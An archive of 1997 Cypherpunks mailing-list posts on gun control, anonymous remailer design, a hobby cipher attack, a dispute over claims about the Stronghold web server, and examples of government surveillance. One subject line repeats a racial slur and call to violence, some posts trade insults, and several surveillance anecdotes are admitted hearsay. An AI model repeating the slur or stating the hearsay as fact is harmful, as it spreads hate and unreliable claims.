     
     Copyright 1997   The Associated Press. All rights reserved. This
     material may not be published, broadcast, rewritten, or
     redistributed.
     
   
     _________________________________________________________________
   
   Infoseek search ____________________ ____  ____
   
     _________________________________________________________________
   
   
   rule Message Boards Sound off on our
   message boards
   
   You said it... [INLINE] AST. Working for your business. rule
   To the top 
   
   (c) 1997 Cable News Network, Inc.
   All Rights Reserved.
   
        Terms under which this service is provided to you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "S. M. Halloran" <mitch@duzen.com.tr>
Date: Thu, 2 Oct 1997 14:36:36 +0800
To: cypherpunks@Algebra.COM
Subject: Re: "Show me an example of terrorists using the Internet or cryp
In-Reply-To: <Mutt.19971001191622.alexlh@sarah.yc>
Message-ID: <199710020617.IAA23092@ankara.duzen.com.tr>
MIME-Version: 1.0
Content-Type: text/plain



Cynthia Brown <cynthb@sonetis.com> wrote on  1 Oct 97:

> Canada may be regulated to death according to most libertarians, but
> I for one like it that way.  I can walk alone and unarmed at night
> in Ottawa, Toronto, etc. without fearing for my life.  Can a female
> resident of Washington or New York say the same?  Our schools do not
> have metal detectors at the entrances because they are not needed. 

Painting America with a rather broad brush, aren't you?  I never went 
to a school--and I attended public schools for ALL of my 
education--which had a metal detector.  But comparing America and 
Canada is pretty much apples and oranges again.  Do you [in Canada] 
really have our ethnic mix?

America's violence problem is not one bit related to guns everywhere 
in the street.  There are much deeper problems, including distrust 
between ethnic groups.  The O.J.Simpson was a real eye-opener on 
black-white relations, for example, and I think the Native Americans 
have yet really to speak about the shitty way they have been treated 
over the years.  By the way, have Canada's European descendants come 
to proper terms with its native American neighbors?

> 
> IMNSHO the best way to fight crime is not with bigger guns than the
> "bad guys", but with better social programs such as universal health
> care, and improved day care so single parents can show their kids
> what a productive lifestyle looks like.  This takes longer than
> blowing the brains out of some teenager that feels his only path to
> a better life is through crime, and it doesn't give the same
> adrenalin rush.  However, it works at the source of crime, and not
> the consequences. 
> 
> Cynthia, unrepentant bleeding-heart liberal
>      Cynthia H. Brown, P.Eng.

Now you're talking!  Don't ever repent for thinking clearly.  But do 
keep in mind that not all people who own guns and wear red plaid 
Pendletons and sport scraggly beards are the neoFascists of tomorrow. 
I don't own a gun myself, but I wouldn't hesitate to obtain one to 
defend my civil rights against a corrupt police force or government 
"just doing its job" (how many horror stories do we hear about a 
bureaucracy going by the rules as it sees them and with a stroke of 
the pen, a mid-level govt official puts a family on to the street?  
And this can happen in the US?  Book recommendation:  Dark Rivers of 
The Heart by Dean Koontz;  think it's all fiction?)

Yours in paranoia, ;-)








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 3 Oct 1997 00:41:43 +0800
To: "S. M. Halloran" <cypherpunks@Algebra.COM
Subject: Re: Kill All The NIGGERS  (Vote for Bob Dole))
In-Reply-To: <34337389.21D9@dev.null>
Message-ID: <v03102807b05979fdf0e5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:28 AM -0700 10/2/97, S. M. Halloran wrote:
>Racist Remailer <rr@dev.null> wrote on  2 Oct 97:
>
>[manifest immaturity deleted]
>
>Okay, on whose watch did this one get out?
>
>(Yes, I did reply, and yes, I plead guilty for keeping this thread
>going by having done so...so do you too have to reply?)
>

I expect you're new on the list, having only seen your name the last few
days. Welcome to the list.

As for "on whose watch did this one get out?" question, I hope you are not
assuming or expecting that remailer operators screen messages for
politeness, or even for sedition, libel, and copyright violation?

Remailers simply remail. Some remailers have elected to have lists of
addresses they will not send to (like *.whitehouse.gov), and some limit
sizes, and a few other such things. But neither _content_ nor _title_ is a
screening criterion by any remailer I have heard of.

Get used to it.

(Oh, and please send posts to one of the "real" Cypherpunks lists, not the
temporary toad.com address.)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "S. M. Halloran" <mitch@duzen.com.tr>
Date: Thu, 2 Oct 1997 14:47:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Mr. Policeman is Your Friend
In-Reply-To: <9710012220.AA05578@sabel.idacom.hp.com>
Message-ID: <199710020639.IAA23181@ankara.duzen.com.tr>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> wrote on  1 Oct 97:

> At 3:20 PM -0700 10/1/97, Martin Janzen wrote:
> >Electronic Frontier Canada's David Jones (djones@insight.dcss.McMaster.CA)
> >posted the following to the EFC mailing list:
> 
> >2. If cops can read E-mail, so can the bad guys
> >      http://www.efc.ca/pages/media/gazette.24sep97.html
> 
[much interesting exposition on the police as servants of government 
deleted]

I have a question:  has any jurisdiction (local, state, federal) in 
the U.S. resolved the hyprocrisy--maybe better to phrase "double 
standard"--wherein citizens who commit crimes against persons who 
perform duties under the color and badge of authority--namely the 
police--are charged with additional offenses specific for crimes 
against govt officers--but govt officers who commit crimes against 
citizens while in the performance of duties under the color and badge 
of authority would suffer the same penalty as citizens who commit 
crimes against "just" citizens?  (hope you can follow that perhaps 
awkward question)

It is my opinion that if I am charged with felony assault on a police 
officer, and the judge gives me 2 years for the assault + 1 year for 
doing it to an officer, that if that cop gets rough with me beyond 
what is legally necessary (excessive force?) or does it in the 
commission of other crimes and does so having informed others that 
the officer is performing his duties (this resolves disputes between 
the concept of "on-duty" and "off-duty"), then he should get 2 years 
for the crime + 1 year for having violated the public trust vested in 
him (i.e., doing while "under the color and badge of authority").  I 
don't know why I think this way, but it's a concept I call FAIRNESS 
or maybe JUSTICE.


Mitch Halloran
Research Biochemist/C programmer/Sequioa's (dob 12-20-95) daddy
Duzen Laboratories Group
mitch@duzen.com.tr





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 2 Oct 1997 16:13:23 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fwd: Re: Quor's cypher
In-Reply-To: <199709292301.AAA04109@notatla.demon.co.uk>
Message-ID: <199710020752.JAA02737@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Antonomasia <ant@notatla.demon.co.uk> wrote:

> My attack takes a long chunk of known text and looks for repetition.
> 
> ppppppppppppppp.11.pppppppppppppppppppppp
> ccccccccccccccc.22.cccccccccccccccccccccc
> 
> When a two neighbouring p-c pairs are the same you can test
> whether they have the same value of a and b.
> (That is a_n == a_n+1 and b_n == b+n+1,   a != b usually.)
> 
> This involves 16 inputs to each byte - very cheap.
> What I really want next is to know "a".


Wouldn't this only happen (on average) in one out of every 65536 p-c
pairs?  Since the state array is changed entirely with every 128 bytes
encrypted, 1 out of 2^16 doesn't seem to help much.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: alexlh@xs4all.nl (Alex Le Heux)
Date: Thu, 2 Oct 1997 17:45:51 +0800
To: cypherpunks@cyberpass.net
Subject: Re: "Show me an example of terrorists using the Internet or crypto"
In-Reply-To: <6489040e71db5edc2ab5e653cb709620@anon.efga.org>
Message-ID: <34336fad.32095813@news.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 2 Oct 1997 00:24:27 +0200, Anonymous <anon@anon.efga.org> wrote:


>Alex Le Heux wrote:
>>Maybe you haven't noticed, but seen on 2000 year scales, the entire
>>world is constantly in a state of war. Europe isn't special in that
>>regard.
>
>I guess the conclusion, then, is that gun control is bad for the
whole
>world, not just Europe.

Eh, no. The conclusion would be that gun control or no gun control
does not affect the amount of war in the world at all.

>>And even if I had my AR15 then, it wouldn't help me a lot against
>>guided missiles and mortar fire.
>
>It's harder to police a hostile population which is well armed.

True, but imho this will only result in more people getting killed.
Any invader would not beat about the bush in the US, they'll make very
clear that they'll have nothing to do with citicens defending their
own homes. They'll just blow up the home from a distance.

>>And anyway, "to defend yourself in a war" is not one of the usual
>>arguments against gun control.
>
>The popularity of an argument can be independent of its worth.
>
>"To defend yourself in general" is commonly used.  War, oppressive
>government, and political turbulence are the most likely situations
in
>which people need their weapons, even in the United States.

Bullshit. People in the US rarely use their weapons against oppressive
governments or political turbulence. Most guns that are used against
another person there are used to commit crime or to defend against
those armed criminals.

>>> You must be getting some good drugs over there to conjure up this
>>> fantasy land where everyone loves one another and would never
think
>>> of killing someone because it sure as hell doesn't exist in
Europe.
>>
>>Well, we're a lot closer to it over here than you guys are over
>>there.
>
>You mean like the former Yugoslavia?  Or do you mean like the parts
of
>Europe where people are not slaughtering each other at the moment?
>
>I have to confess that I am surprised at the level of resentment
among
>the members of various Europeans countries feel towards other
European
>countries.  For example, the Germans don't like the Dutch because
when
>they visit they are treated badly by, among others, the police.  The
>Dutch don't like the Germans because, well, they got to know them a
>little too well in the 1940s and they are nursing the grudge.
>
>With that sort of situation, anything can happen and it can happen
>quickly, even if things seem mellow right now.  And these little
>resentments and jealousies are felt between far more groups in Europe
>than just between the Dutchies and the Germans.

Excuse me? Have you ever even been in Europe? In the last 50 years I
mean? You are so full of shit here, it's incredible. I hereby invite
you to come over, and stay a while. I have a comfy couch.

Anyone in Europe can go anywhere else, and be treated reasonably to
very well. We in Europe have put the crap of WWII behind us a long
time ago. Something that you haven't managed to do apparently.

The Dutch are absolutely not 'nursing a grudge'. Come and visit.
You'll see.

>Let's also take a look at the Dutch performance during their
>occupation.  While there certainly were many courageous Dutch people
>who helped refugees (at great personal risk, to say the least), and
>there were many courageous Dutch people who were in the resistance,
>there were also many Dutch people who did not perform so well.  Not
>only were a large number of Jewish people turned in by Dutch
>informers, but there were even Dutch SS units.

You have a nerve. You, coming from a country where people are still
regularly killed in the name of racism, tell me this?!

>I basically think well of the Netherlands and its people, but it is
>important to recognize that certain unpleasant characteristics exist
>in a large portion of the population of even a nice country.  It is
>unlucky to pretend that these characteristics can never be expressed.

We absolutely not pretending that this can never be expressed. In
fact, it's being expressed every day. We have our neo-nazi political
parties too. It's just that we here have learned our lesson, and very
few people actually listen to them.

>Let's turn to the Western Hemisphere: El Salvador.  During much of
the
>1980s, the U.S. government supported groups of people in El Salvador
>who were sending out death squads to murder their suspected
opponents.
>The U.S. certainly acquiesced in this activity - of this there is no
>doubt.  But, it is not unlikely the U.S. was more directly involved.
>(Only fifteen years earlier the U.S. was doing the same thing in
>Vietnam.)
>
>What would have happened if the citizens of El Salvador were
>adequately armed?  One thing you wouldn't see is a death squad going
>into a neighborhood to kick down some innocent's door and murder him
>or his family.  At least, you wouldn't see it twice.

Sure you would. It just would be that more bloody. The fact that
someone is armed has never stopped anyone from attacking. You just
make sure that your shot is the first and hits.

>Likewise, when the communist guerrillas were forcing (maybe) the
>peasantry to support them, the peasants would have no need to
>cooperate unwillingly if they were well armed.
>
>People who are well armed are less likely to become pawns, victims,
or
>slaves.  That is desirable.

They are just more likely to become dead.

>Incidentally, the consistent support the U.S. government has shown
for
>murderous or even genocidal governments is of great concern to those
>of us who live in the U.S.  It is unlikely that these tactics won't
be
>used here were there a serious political struggle and a disarmed
>population.

- From over here it appears that the majority of Americans doesn't
really give a shit. Correct me if I'm wrong.

>An issue that might possibly blossom into such a political struggle
is
>mass surveillance.  While the mass media is, for the most part,
giving
>everything the government's spin, and while large numbers of
>Congressmen and other denizens of Washington, D.C. think it's a good
>idea, the bulk of the population is not happy about this at all. 
They
>can read the writing on the wall.  The potential for conflict between
>the political class, which has a long history of murder and even
>assassination, and the American people exists right now.

Yes, things are a bit of a shambles at the other side of the pond.
Maybe for you it's a good thing to be armed to the teeth. For us over
here, arming the population would only serve to fill the morgues.

Alex

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: alexlh@xs4all.nl (Alex Le Heux)
Date: Thu, 2 Oct 1997 17:48:51 +0800
To: cypherpunks@cyberpass.net
Subject: Re: "Show me an example of terrorists using the Internet or crypto"
In-Reply-To: <51a02138f43e8a0225034edf2603b563@anon.efga.org>
Message-ID: <343377a8.34139044@smtp.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 2 Oct 1997 01:29:33 +0200, in list.cypherpunks you wrote:

>Cynthia Brown wrote:
>>On Wed, 1 Oct 1997, Alex Le Heux wrote:
>>> This sucks.
>>
>>I agree wholeheartedly.
>
>>IMNSHO the best way to fight crime is not with bigger guns than the
>>"bad guys", but with better social programs such as universal health
>>care, and improved day care so single parents can show their kids
>>what a productive lifestyle looks like.
>
>Of course you agree wholeheartedly, you are an exploiter.  It is
>wrong.  You should be ashamed of yourself.

Can you explain who exactly exploits who here?


Alex

>Monty Cantsin

PS. What's the point in posting anonymous when you have this sig?

>Editor in Chief
>Smile Magazine
>http://www.neoism.org/squares/smile_index.html
>http://www.neoism.org/squares/cantsin_10.html
>
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Thu, 2 Oct 1997 23:02:27 +0800
To: cypherpunks@toad.com
Subject: Re: Remailer advertising
In-Reply-To: <3.0.3.32.19971002024633.032b0028@mail.atl.bellsouth.net>
Message-ID: <3.0.3.32.19971002103137.03132df0@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 04:12 AM 10/2/97 -0600, Racist Remailer wrote:
>  Also, advertising could be sent to the originator of anonymous
>remail,

This does seem like a second place that remailer advertising could be
"sold."  Advertising to the sender side seems like a better idea than
recipient advertising, but I'm not sure it would go over very well either.

When the crypto vote recently came up in Congress, I suggested putting
"advertising" about the vote on outgoing remailer messages.  This would
have involved promotion of non EFGA web pages.  The owners of such web
pages, who are pro-crypto, did not care for the association with a remailer.

For a recipient side ad, I thought of simply sending out a terms of service
message, perhaps replaced in the future by paid advertising.  We discussed
this, and decided that users would be bothered by getting return email when
they send the remailer a message.  We considered sending a return message
not with each message, but say only once per month, or only once every two
weeks.  Feedback I got on this was that users would not like the remailer
acknowledging them.  Obviously we would have to build some database of who
sent something when in order to make this work.  A database of who has sent
a message in the last two weeks is just another chink in the armor waiting
to be exploited.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Fri, 3 Oct 1997 13:41:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
Message-ID: <199710030536.WAA16213@mail-gw2.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Anonymous wrote:
>> > - Everyone a remailer.  Remailers only accept messages from other
>> >   remailers.  To use remailers you must run a remailer.
>> 
>> I don't grow my own wheat, grind it up, and then make my own bread.  I
>> also prefer not to run a remailer.
>
>You don't have to.  You pay someone to bake your bread for you, and
>you can pay someone to run your remailer for you.
>
>This idea has been around since remailers began.  The basic premise
>is that a group of remailers are set up which only accept mail from
>other remailers.  A pinging system can be set up to verify that all
>the remailers are operating correctly.
>
>The catch is that in practice each remailer is only required to
>accept mail from other remailers, but can actually accept mail from
>anybody the operator wants to.  So if you don't want to run a
>remailer, just pay someone to run a remailer on your behalf, and then
>you can send anonymous messages through that person's site.
>
>Thus forwarding within the remailer network is free, but it costs
>money to insert new messages.  This scheme is a little more flexible
>than attaching ecash to each message because you can arrange any type
>of fee schedule you like, such as a flat rate per month.

This is interesting.  One nice feature is that there doesn't need to
be a standardized payment arrangement with all remailers, just the one
you use for your entry point.  And, there's nothing that prevents many
remailer networks from overlapping.  (Actually, the geometry could
create some neat problems.)

This would be fairly easy to set up, not even really needing client
software modifications.

However, it does have a "commons" problem.  No remailer operator has
an incentive to provide really good service.  They are all encouraged
to provide the bare minimum remailer service and take advantage of the
other remailers in the network.

For example, what would encourage somebody to have a 24 x 7 remailer
service with continuous staffing?  This would be desirable because
when the bad guys kick down the door, there is somebody awake to pull
the plug.  There are a zillion other features which won't happen if
there isn't a proper incentive.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 2 Oct 1997 23:51:53 +0800
To: cypherpunks@toad.com
Subject: Re: Stronghold
In-Reply-To: <199710021247.OAA00552@basement.replay.com>
Message-ID: <X6ByDe2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:

> 
> Dr.Dimitri Vulis KOTM writes:
> > 
> > Anonymous <anon@anon.efga.org> writes:
> 
> > > Dr.Dimitri Vulis KOTM writes:
> 
> > > Those who are newcomers to the list should know that Vulis has never
> > > presented any evidence substantiating his vague claims that Stronghold 
> > > is insecure or has backdoors (or whatever the claims were).  Vulis is
> > > conducting a personal vendetta against one of C2Net's staff members and 
> > > anyone who happened to be or become associated with him.
> 
> > Nor do I have to present any evidence.
> 
> You misordered this: it should say "Nor do I have any evidence to 
> present."

Nope.  Like I said, I'm not selling Stronghold or any competing product, I
don't lose anything when someone foolishly buys it, so why should I present
any evidence?  I (and several other people on this mailing list) were threatened
by C2Net's lawyers; so to avoid unpleasant disputes, I told them I won't be
publishing whatever I might know about their product.

> >                                         I'm not the one selling StrongHold.
> 
> No, you're the one trying to torpedo its sales to get back at certain
> individuals for some perceived slight.

No I'm not.  What do I lose if someone not affiliated with me makes a
foolish purchasing decision?

That's why I complied with C2Net's request not to publish my opinions of
their product.
> 
> > I have received several threatening communications from C2Net's lawyers, 
> > which were discussed at length on this list.  To avoid unpleasant disputes
> > I agreed not to disseminate my opinions about StrongHold.
> 
> Amazingly, C2Net doesn't like to see its product publicly slandered 
> by reptiles like Vulis.  If Vulis' opinion were based on anything
> other than personal ill will - ie, if he had ever actually downloaded
> and examined Stronghold and found any problems with it - he would have
> a leg to stand on.  As it is, his allegations are completely unfounded.

If this were true, then C2Net would encourage me to publicly present whatever
"evidence" I have so they'd be able to refute it.  This is not what they
asked me to do.

> > Please keep this in mind if you consider buying it.
> 
> Keep in mind that anything Vulis says is in all likelihood a complete
> lie.

Keep in mind that "anonymous" is probably an employee of C2Net.  Several of
C2Net's shills used to post C2Net propaganda withouy revealing their C2Net
affiliation; they switched to anonymous remailers when their nyms were exposed.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: alexlh@xs4all.nl (Alex Le Heux)
Date: Thu, 2 Oct 1997 18:06:53 +0800
To: cypherpunks@cyberpass.net
Subject: Re: "Show me an example of terrorists using the Internet or crypto"
In-Reply-To: <199710011942.VAA09393@basement.replay.com>
Message-ID: <343378d6.34441147@smtp.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 1 Oct 1997 23:06:24 +0200, in list.cypherpunks you wrote:


>Alex Le Heux wrote:
>>You people just don't get it do you? A gun has one purpose: To
>>kill. Just like any other tool, a gun, if it is available _will_ be
>>used at some point.
>
>Although guns are obviously designed for killing things, this does
not
>mean that they will be used.  This can be seen from the statistics.
>There are far fewer murders than there are guns.  Almost all of them
>are never used for killing someone.

You can't deny that the more guns there are available, the more people
will get shot. There may be some people that are capable of owning a
gun and using it wisely (ie. not), but I don't believe that this is a
significant fraction of any population.

>You are also not considering the case where one person has a gun and
>another does not.  The situation is more stable if both people are
>armed.  (And don't claim you are talking about disarming a whole
>society.  You aren't, just part of it.)

Urgl? The situation only becomes more explosive if both sides are
armed. Look at the arms race, which is now, thank god, over. I am
amazed at the amount of restraint both sides displayed during that
time, although it's been really close a few times.

It's really simple: If there are no guns, no one will get shot.

I _am_ talking about disarming a population. I don't know which 'it'
I'm not part of, but I am definately not part of the 'it' that
promotes death by gunshot.

>>So making sure there are lots of guns around only serves to make a
>>lot of people very dead. This is a Bad Thing.
>
>Depends who they are.  Bet the Dutch resistance made good use of
their
>weaponry, eh?

Even if they did, dead people are still a Bad Thing. We had no quarrel
with the soldiers the resistance killed. Neither did most of them had
any quarrel with us. Just like the US troopers in Vietnam or some
other place.

>>In the US, where guns are tradition and part of the American way,
>>many people would not think twice before shooting someone.
>
>This is simply untrue.  TV and movies are not the best way to form an
>understanding of another country.

Ok, you have a point there. Only it's not TV and movies (I don't have
a TV), it's reading the Cypherpunks list too often :)

>>The result of this is that the number of people getting killed by
>>guns is enourmous, be they criminals, little kids, old grannies, or
>>presidents.
>
>I read recently that 9000 people a year die in the United States from
>food poisoning.  This should be almost entirely preventable.  Why
>isn't this a big political issue?  Could it be that the people
pushing
>gun control do not have entirely pure motives?
>
>Be aware that the gun control lobby has often used misleading
>statistics.  For instance, you will hear a lot about "handgun
deaths".
>It turns out that most of these are suicides.  While undesirable,
most
>people perceive a difference between somebody killing themselves and
a
>nutcase doing his thing at a school.

I am not the gun control lobby, I am a citizen in a mostly gun-free
society, and glad of it. People getting shot here, be it robbery,
suicide, police violence or self defence is a rare occurence.

Over her, drive-by shootings are something from fairy tales.

Alex

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 3 Oct 1997 02:35:38 +0800
To: Declan McCullagh <cypherpunks@Algebra.COM
Subject: Re: Request for illegal electronic surveillance examples and cases
In-Reply-To: <v03007800b058addd896f@[168.161.105.141]>
Message-ID: <v03102800b0598ddcabfc@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:40 PM -0700 10/1/97, Declan McCullagh wrote:
>So I'm putting together a special report featuring examples of illegal
>wiretapping by governments -- to show why we shouldn't trust them with
>mandatory domestic key escrow. Also illegal electronic surveillance,
>generally speaking. Especially more recent ones. Maybe non-U.S. examples
>too.
>
>Any suggestions? I'm thinking things like: MLKjr, Mrs. Roosevelt, _Irvine_,
>_Socialist Workers Party_, Dewey-FBI alliance, mail opening, Emma Goldman,
>Brownell's blanket microphone surveillance, _Katz_, _Alderman_, CISPES.

As others have noted, Bamford's "The Puzzle Palace" is chock-full of
examples of government surveillance of cable and telephone traffic,
including cozy deals with ITT to have them turn over all cable traffic.
Ditto for other telecom carriers.

And the UK-USA agreement enables "cross-surveillance," where GCHQ can do
COMINT in the U.S., and NSA can do COMINT in the U.K and its colonies,
without technically violating charters and laws. (Someone described a room
at Fort Meade where a full-time staff of British and American agents
cross-fertilize their products--if the NSA wants some traffic surveilled,
the GCHQ can punch in a few commands, get the traffic, and then "share" it
with their American counterpart).

Bamford's updated edition is not out yet, so far as I know. Maybe it'll
have more recent examples, especially involving computers and networks.

As I'm not a professional telecom exec, or spook, most of my examples
either comes from books (Bamford, Kahn, Burnham, etc.), or from anecdotal
examples given. Anecdotes are hard to verify. But here are a few:

- a Minneapolis friend of mine told me that the huge Cargill operation, the
world's largest grain-trading company, and privately held, was using crypto
in messages to Europe and Asia. They were asked by the NSA to stop, or to
provide NSA with a key. Obviously this could only have happened if NSA or
GCHQ were intercepting and attempting to decode. (My Minneapolis friend
told me this in 1988. I don't have any details beyond this.)

- someone told me that transcontinental telephone lines were routed in the
60s and 70s deliberately over Indian reservations in the Rocky Mountain
states, and that the NSA used their "sovereign nation" status to skirt U.S.
laws about domestic surveillance. (True or not, I can't say. Maybe a
telecom buff here can see if any unusual jogs in the routing of the
LongLines can be seen, jogs that take them into Indian Reservations in
Utah, Colorado, etc., which is where I heard the intercept sites are
located.)

- more locally, I have been struck by the confluence of certain
capabilities right in my own area. The Defense Language School is in
Monterey, California. AT&T also operated their "simultaneous translation"
service there (or did, last time I heard)...this service allows a speaker
of Arabic, say, to speak to a speaker of Bantu, by means of experts in
these areas. And not far away is a major signal processing Cray complex,
ostensibly related to undersea sonar analysis, but usable in other ways.
The Naval Postgraduate School and a couple of foreign relations think tanks
are also in the area. Finally, or maybe not finally, the major West Coast
satellite earth station is located in Jamesburg, California, in an RF quiet
valley at the end of Carmel Valley. (Bamford also discusses this. Some of
the other major earth stations have already been identified as NSA
intercept points, such as the one in the valley in West Virginia.)

(Were I writing a novel, I would use this confluence to suggest that this
site is used for translating a lot of foreign language conversations
crossing this major West Coast earth station. The huge pool of foreign
language experts in the Monterey Bay area, what with DLS and ancillary
facilities, including the Naval Postgraduate School, and the presence of a
good cover for a major computer installation....)

- look also into the Red Squads in major American cities, where cops
ignored surveillance warrants to compile dossiers. (I believe the State of
Israel, often involved in such things as a cutout for the U.S., was
involved in some of these. In L.A., at least.)

- Frederick Forsythe has a fine new novel out, "Icon," which details
exhaustively (and probably correctly, given his other research) how
Russia's version of the NSA, now called FAPSI (standing for something in
Russian about radio), is supplementing its meader state funding by
freelancing for corporations and mafia groups which want ELINT and COMINT
on their rivals.

Anyway, finding _concrete_ evidence for surveillance, at least in recent
years, is not a lightweight project. It took Bamford years of research,
FOIAs, and so on.

Good luck.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Pool <mbp@pharos.com.au>
Date: Thu, 2 Oct 1997 09:40:47 +0800
To: cypherpunks@toad.com
Subject: Re: Secure HTTP servers.
In-Reply-To: <LaBwDe3w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.971002085941.32706A-100000@buffalo.pharos.com.au>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 1 Oct 1997, Dr.Dimitri Vulis KOTM wrote:

> Are the posters in this thread unwilling to criticize C2Net's StrongHold
> because they're afraid to get obnoxious threatening letters from Sameer
> Parekh's shysters?

For what it's worth, we use Stronghold and are very happy with it.
They ship almost all the code, and they provide worthwhile crypto
outside of the States.  Being based on Apache it has a fairly vibrant
development community, so you can obtain modules to do Java servlets,
inline Perl, access to various DBs, and so on, and participate in the
development of those modules.  It's moderately easy to install,
configure, and customize, although you'd probably want a little bit of
Unix sysadmin experience.  I believe an NT port is in alpha.

Criticism?  A few times I've run into SIGSEGV's in the crypto
libraries.  To be fair, the problems are only visible when you plug in
third-party modules, there are workarounds, and they may in fact be
not Stronghold's fault.  Also, their manual seems to have been out of
print for months -- not such a problem because there's an online
version, but still a bit annoying.

UKWeb's technical support are quite good and compare extremely well to
that of some large organizations.

I have no evidence in support or rebuttal of C2Net's alleged
harrassment of Dr Vulis, so I won't comment on that.

--
Martin Pool
Pharos





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 2 Oct 1997 23:34:29 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash (fwd)
Message-ID: <ae86114c6e2e19e3e4901fa2b593ed8b@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate:

>For the sender to chain from remailer to remailer to destination the
>destination has to be in the header info somewhere. Now in the most secure
>system each packet header will only contain the address of the next hop. When
>the next site gets it the packet contents are de-crypted (otherwise reading
>the chaining info is trivial) and the contents are uncovered to reveal another
>packet with the next hop header and another encrypted block. And on and on
>we go.
>
><Question: Are there any remailer sets that impliment the encrypted nested
>           packet system?>

Jim Choate has been amazingly clueless throughout this discussion, but
this takes the cake.  Does he really not know about encrypted nested
chaining?  My God!  Of course remailers work this way, Jim.  They've
worked this way practically from the beginning.  All remailers work this
way.  The mixmaster remailers are built around this idea, making each
packet a constant size and adding dummy packets as new ones are stripped
off, so outgoing messages look just like incoming ones.

How can you be arguing about remailers when you know so little about how
they work?

><speculation: an encrypted chain could be made stronger if the next
>              hop header depended on which key was used to decode it.
>              In other words, remailer A's key will produce one next hop
>              address while remailer B's key will send it elsewhere. This
>              is a subset of the different plaintext - same cyphertext
>              problem - a hard problem as I understand it. Find two
>              distinct texts that encrypt with different keys to the
>              same cyphertext>

That won't help.  There would be no point in doing this.  I'd ask you
to explain, but that would just prolong the agony.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 3 Oct 1997 02:48:16 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Request for illegal electronic surveillance examples and cases
In-Reply-To: <v03102800b0598ddcabfc@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.971002113024.24936B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks, all, for the suggestions. Unfortunately my time is limited: my
deadline is tonight. I'm working on a roundup of pre-reported
cases, not reporting out new ones. (at least for this project)

My best source so far is the 1976 Church Committee documents. Gentry's bio
of J. Edgar Hoover is a good one too. Burnham lent me a copy of his "Above
the Law" book about the DoJ which I haven't finished yet. Haven't read
Puzzle Palace in a while, probably don't have time to reread that.

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rogaski <wendigo@ne-wendigo.jabberwock.org>
Date: Thu, 2 Oct 1997 23:54:47 +0800
To: brianbr@together.net
Subject: Re: Forwarded mail...
In-Reply-To: <199710020409.AAA19702@mx01.together.net>
